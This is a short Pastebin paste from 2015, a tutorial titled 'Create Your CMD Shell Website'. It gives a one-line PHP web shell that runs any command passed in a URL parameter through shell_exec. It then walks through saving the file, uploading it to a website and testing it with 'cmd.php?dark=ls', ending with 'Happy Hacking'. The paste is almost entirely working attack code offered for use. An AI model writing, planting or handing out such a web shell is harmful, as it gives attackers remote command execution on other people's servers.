Advertisement
Kyfx

Create Your CMD Shell Website ( PHP )

Oct 30th, 2015
607
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. We've to create CMD.. Let's Start . Follow these steps
  2.  
  3. 1. Open Notepad
  4.  
  5. 2. Paste this Code :
  6. <?if($_GET['dark']){echo"<pre>".shell_exec($_GET["dark"]);}?>
  7.  
  8.  
  9. 3. Now Save it as with name "cmd.php"
  10. 4. Now upload it in website
  11. 5. Successfully Uploaded :))
  12. 6. Now we use this Command to test cmd is working or not. "cmd.php?dark=ls" where "cmd" is file name and "dark" is parameter and "ls" is to check how many files contain in current directory. If it's showing multiple files name then It means CMD is working.... :))))
  13. Happy Hacking !
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement